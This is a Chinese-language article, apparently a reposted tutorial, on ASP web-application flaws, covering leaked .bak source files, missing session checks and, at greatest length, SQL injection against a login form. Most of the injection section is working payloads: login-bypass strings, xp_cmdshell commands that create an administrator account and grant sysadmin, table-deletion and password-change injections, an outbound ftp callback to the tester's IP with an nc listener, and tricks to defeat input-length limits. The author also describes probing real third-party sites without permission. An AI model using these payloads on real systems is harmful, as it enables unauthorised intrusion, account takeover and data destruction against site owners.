沒有系統的學習過asp或者php編程,也沒有系統的學習過access、sqlserver、mysql等數據庫,所以我不是一個程序員,雖然經常干一些類似程序員的事情。
因為要建立自己的站點,3次改版下來,多少也寫了幾千行程序,加上對一些論壇、留言板、文章發布系統的測試,也發現了一些問題,現在與大家探討。
在寫這篇文章的時候,我除了在本機建立asp+access、asp+sql server測試環境,還在××安全網站、××市人才網、××網絡公司的網站上進行了部分測試,在此謹表示歉意!我是選擇在凌晨2點~3點開始的測試,而且僅限于檢索操作,所以可以肯定的說對貴站幾乎沒有什么影響,用1個小時流量略多換取我給你們的安全報告,我想不會太虧吧,呵呵!
1、bak文件泄漏asp源代碼
很多編輯工具,如Editplus、UltraEdit,默認情況下在保存文件的時候,都會自動備份一個.bak文件。如創建或者編輯config.asp文件,則編輯器會自動生成一個config.asp.bak文件,如果沒有刪除該文件,攻擊者可以通過http://www.***.com/config.asp.bak來下載asp源程序。
可以想象,你的源程序被下載,被攻擊的風險無疑大了很多。而如果是配置文件,呵呵,用戶名、密碼、數據庫名稱/位置……
解決辦法:要么就直接關閉編輯器的自動備份功能,要么在上傳的時候,刪除所有.bak文件。
2、身份驗證被繞過
一般網站有很多頁面是需要身份驗證通過以后才能訪問的,而在這些頁面需要對用戶身份再次進行驗證,但是很多程序員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和文件名,就可以繞過身份驗證,直接進入到該頁面。如:需要用戶通過login.asp頁面登陸,經過身份驗證才能打開manage.asp頁面。攻擊者可以通過http://www.***.com/manage.asp直接進入管理界面。
解決辦法:在這些的頁面開頭進行身份確認。如:在身份驗證通過以后傳遞一個session("login")="ok",在manage.asp開頭加入
以下內容為程序代碼:
if session("login")<>"ok" then
response.redirect "login.asp"
end if
上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關于sql注入式攻擊與防范。
3、asp程序數據庫密碼驗證漏洞
首先,關于request對象,我們知道,如果在form表單中使用get方法傳遞數據時,應該用QueryString集合來檢索表單數據;而使用post方法傳遞數據時,應該用Form集合來檢索表單數據。而更多的程序員為了方便,直接省略集合名稱,使用request("data")來檢索數據,看似簡單,實際上效率很低,而且容易出錯。asp默認搜索集合的順序是QueryString、Form、Cookie、Serverariable,當發現第一個匹配的變量時,就認定是你要訪問的成員。所以建議大家不要采用這種方法,題外話說完,我們轉入正題。
先來看login.asp文件
以下內容為程序代碼:
……
<form action="verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
……
再來看verify.asp文件
以下內容為程序代碼:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'關于身份驗證
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……
不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什么:
(1)我們在用戶名位置輸入【admin' or 1='1】,在密碼區輸入【11】。注:內容只有【】內的?纯磗ql會變成什么:
以下內容為程序代碼:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我們知道,or是一個邏輯運算符,在判斷多個條件的時候,只要有一個成立,則等式就返回真,后面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道用戶名就可以登陸該系統。
(2)我們也可以在用戶名位置輸入【admin' --】,在密碼區輸入【11】。再看看sql:
以下內容為程序代碼:
sql=select * from user where name='admin' --' and pasword='11'
同樣,通過連接符--注釋掉了后面的密碼驗證,對access數據庫無效。
(3)如果可以通過連接符注釋掉后面的驗證,那么就更有意思了,來看我們能作什么:
a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶
b、在用戶名位置輸入【admin';exec master.dbo.sp_password null,123456,Cool;--】,給Cool設置密碼為123456
c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
d、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,并設置相關屬性,關于net user命令可以參考這里。
e、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用戶添加到管理員組。
現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator權限的用戶來連接數據庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對于那些站點放在自己服務器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
那如果不是sa,是不是就什么也不能做了,當然不是!只是不能獲得太高權限來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理權限。來看看我們能作什么:
a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表里所有記錄。夠狠吧!你可千萬別這么做哦!
b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個用戶,當然前提是表名和字段名都要正確。
c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和字段名都要正確。
更多的攻擊內容,你可以參考sql語法。
看來如果不是sa還是比較郁悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來連接數據庫。
a、在cmd中執行nc -l -p 21,監聽本機的21端口;當然也可以采用火墻什么的。
b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果發現有連接,就可以斷定是使用sa了,而且可以獲得網站數據庫的ip地址,因為有些網站web和sql是放在不同服務器上的;如果沒有連接,則網站使用的是非sa帳戶。
可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起連接,可以構造ftp腳本,也可以使用tftp來上傳文件,即使有火墻也是枉然。
也許有的朋友會說,人家在表單里已經這里了最大長度是20,你跟本就輸入不了那么多!沒事,難不倒我們。
方法一:
a、打開網站頁面http:\\www.***.com\login.asp,查看源文件,把提交表單部分
以下內容為程序代碼:
<form action="verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
拷貝出來,存到本機login.htm
b、修改action為http:\\www.***.com\verify.asp,即:
以下內容為程序代碼:
<form action="http:\\www.***.com\verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
注意:有的網站這里的action為空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
c、修改maxlength,加大,再加大,要不就刪除了!
d、從本地提交變量
方法二:
Cool.reg
9x用戶:
以下內容為程序代碼:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
2k用戶:
以下內容為程序代碼:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
Cool.htm
以下內容為程序代碼:
<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>
文章來源于領測軟件測試網 http://www.kjueaiud.com/